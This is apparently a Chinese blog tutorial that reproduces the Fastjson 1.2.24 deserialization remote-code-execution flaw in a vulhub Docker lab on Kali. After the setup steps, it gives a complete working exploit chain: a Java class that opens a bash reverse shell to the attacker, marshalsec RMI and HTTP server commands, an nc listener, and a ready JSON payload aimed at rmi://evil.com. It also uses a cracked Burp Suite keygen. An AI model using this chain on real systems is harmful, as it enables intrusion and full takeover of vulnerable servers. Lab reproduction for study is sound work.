PS:本文章只用于学习,其他用途与文章无关~
目录
环境准备:
kali linux:(可以准备一个靶机centos,一个攻击机kali)本文章只基于一个kali-2022.4版本演示
apache-maven
marshalsec-master
jdk1.8
python3(kali自带)
影响版本:
fastjson <= 1.2.24
一、配置kali中java环境
注意:
1.担心配置错误的,可以提前拍摄快照,以便还原!!!
2.网上有删除openjdk再下载oracle jdk的,个人不太建议,会报错,影响后续漏洞复现
1.下载oracle的jdk1.8.0_202版本
🌂下载地址:
# 华为云镜像下载
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
# 百度网盘链接
链接:https://pan.baidu.com/s/1Os5BkFvEEuBmTVQgWT0cKw?pwd=sl12
提取码:sl12
下载完成后,直接将其复制到kali中
2.新建jdk1.8目录存放安装包
🌂在kali中 /usr/local 下新建文件夹 java,存放此安装包,将桌面的jdk-8u202-linux-x64.tar.gz安装包移动到该目录下
1)mkdir -p /usr/local/java # 创建目录
2)cd Desktop # 进入桌面
3)mv jdk-8u202-linux-x64.tar.gz /usr/local/java # 移动安装包至目录下
3.配置jdk环境变量
🌂进入目录下,解压此安装包,并配置环境变量
1)cd /usr/local/java
2)tar xzvf jdk-8u202-linux-x64.tar.gz
3)vim /etc/profile
# 编辑该文件,将下方四行代码输入,jdk存放路径和我不同的自行更改
JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
4.替换原open jdk为oracle jdk
🌂更换原有的openjdk为oracle jdk1.8.0_202
1)update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0_202/bin/java 1
2)update-alternatives --install /usr/bin/javac javac /usr/local/java/jdk1.8.0_202/bin/javac 1
3)update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java
4)update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac# 存放路径不同的,记得更改~
5)java -version # 看是否成功替换为1.8版本
参考文章:kali安装maven和jdk、解决:bash: mvn: command not found_kali 安装mvn_召唤大白的博客-CSDN博客
二、安装并使用docker
1.安装docker
此处就不做过多讲解了,直接上大佬的安装步骤:https://www.cnblogs.com/lijingrong/p/13396884.html
🌂跟着上方教程安装完成,查看docker版本号
1)docker -v
2)docker-compose -v
2.拉取环境
🌂进入对应的漏洞环境目录
cd Desktop/vulhub/fastjson/1.2.24-rce
🌂启动容器,拉取环境
docker-compose up -d # 首次拉取会自动下载对应配置,出现done字样即为完成
2.1相关报错及处理
若此处出现下图类似报错,则执行下方代码块中命令,然后重新拉取环境即可~(没报错的直接跳过)
1)sudo mkdir -p /etc/docker
2)sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://yxzrazem.mirror.aliyuncs.com"]
}
EOF
3)sudo systemctl daemon-reload
4)sudo systemctl restart docker
3.验证环境
🌂环境运行完成,有两种验证方式:
1)http://your-ip:8090 # 出现json格式的输出,即为成功(下图一)
2)docker ps # 下图二
三、安装maven
1.下载安装包
🌂下载地址:
或
直接下载3.9.3版本安装包
https://dlcdn.apache.org/maven/maven-3/3.9.3/binaries/apache-maven-3.9.3-bin.tar.gz
2.新建maven目录存放安装包
🌂移动下载的安装包至 /usr/local/maven 目录下, 并解压
3.配置maven环境变量
🌂配置maven的环境变量,并更新
1)vim /etc/profile # 将下面三行代码复制到文件内
MAVEN_HOME=/usr/local/maven/apache-maven-3.9.3
PATH=$MAVEN_HOME/bin:$PATH
export MAVEN_HOME PATH2)source /etc/profile # 修改后使环境生效
3)update-alternatives --install /usr/bin/mvn mvn /usr/local/maven/apache-maven-3.9.3/bin/mvn 1
# 更新配置(路径和我不同的小伙伴记得更改"/usr.../maven...")
4)mvn -version # 查看mvn版本,是否安装成功
我这里下载的是3.9.3版本,不知道为什么安装之后显示版本为3.8.7(有知道的可以评论区留言~)
3.1相关报错及处理
此处报错的小伙伴,可以尝试 "rm -rf maven" 删除maven整个目录,然后重新安装(或验证是否执行上方第3步更新命令)
仍然报错的小伙伴可参考:kali安装maven和jdk、解决:bash: mvn: command not found_kali 安装mvn_召唤大白的博客-CSDN博客
四、安装RMI服务器
1.下载marshalsec并启动RMI器
🌂编译marshalsec项目,启动RMI服务器
1)下载marshalsec
# github下载
https://github.com/mbechler/marshalsec
# 百度网盘直接下载
链接:https://pan.baidu.com/s/1BMtwwRPDMh6ZP1bumRHEwg?pwd=jx3a
提取码:jx3a
2)cd /usr/local/marshalsec/marshalsec-master # 进入目录下3)mvn clean package -DskipTests # 用maven编译marshalsec成jar包
五、漏洞复现
1.编写文件
🌂使用kali攻击机,编写touchfile.java文件,将如下代码写入,并编译为class文件
1)touch touchfile.java
2)vim touchfile.java # 不要直接执行第三步,看好代码输入完成再往下走
3)javac touchfile.java
import java.lang.Runtime;
import java.lang.Process;
public class touchfile{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
2.开启python监听
🌂kali攻击机开启python服务,监听端口 # 注意python版本,执行对应命令
python3 -m http.server 8089 # python3使用的命令
python -m SimpleHTTPServer # python2使用的命令
3.加载远程类
🌂kali攻击机使用marshalsec项目,启动RMI服务器,监听端口9999,同时指定加载远程类touchfile.class
# 进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1111/#touchfile" 9999
4.开启反弹shell的监听端口
🌂攻击机开启监听6666端口
nc -lvnp 6666
5. bp安装
🌂使用kali自带的bp或自己安装想要使用的bp版本,此处演示bp1.7.37安装
1)将文件夹复制至kali靶机中
2)java -jar burp-loader-keygen.jar # 第一次安装会弹出下图2窗口
3)跟着下方图片步骤一步步操作
6.火狐开启代理抓包
🌂进入kali自带的火狐游览器,更改设置,开启代理,端口为bp的8080
记着把bp的拦截开启,此时可以抓到包
🌂发送给repeater,修改参数,进行测试
POST / HTTP/1.1
Host:your-ip:8090
Accept-Encoding:gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/touchfile",
"autoCommit":true
}
}
7.复现结果验证
使用marshalse工具快捷的开启RMI服务,借助RMI服务将RMI reference result 成功重定向到web服务器
靶机成功访问攻击机开启的web服务,可以下载touchfile.class恶意文件
攻击机监听的6666端口成功收到反弹的shell
至此,复现结束~
总结:复现过程中,会出现各种各样报错,小伙伴多找网上文章解决,本文仅作参考。
PS:文章对小伙伴有帮助的话,点赞支持下吧~欢迎各位师傅批评指正